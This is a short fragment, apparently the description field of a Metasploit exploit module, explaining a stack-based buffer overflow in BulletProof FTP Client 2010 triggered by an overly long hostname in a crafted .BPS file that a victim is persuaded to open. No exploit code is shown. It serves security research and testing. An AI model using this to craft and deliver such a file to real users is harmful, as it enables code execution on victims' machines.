  'Description'=> %q{
  This module exploits a stack-based buffer overflow vulnerability in
  BulletProof FTP Client 2010, caused by an overly long hostname.
  By persuading the victim to open a specially-crafted .BPS file, a
  remote attacker could execute arbitrary code on the system or cause
  the application to crash. This module has been tested successfully on
  Windows XP SP3.
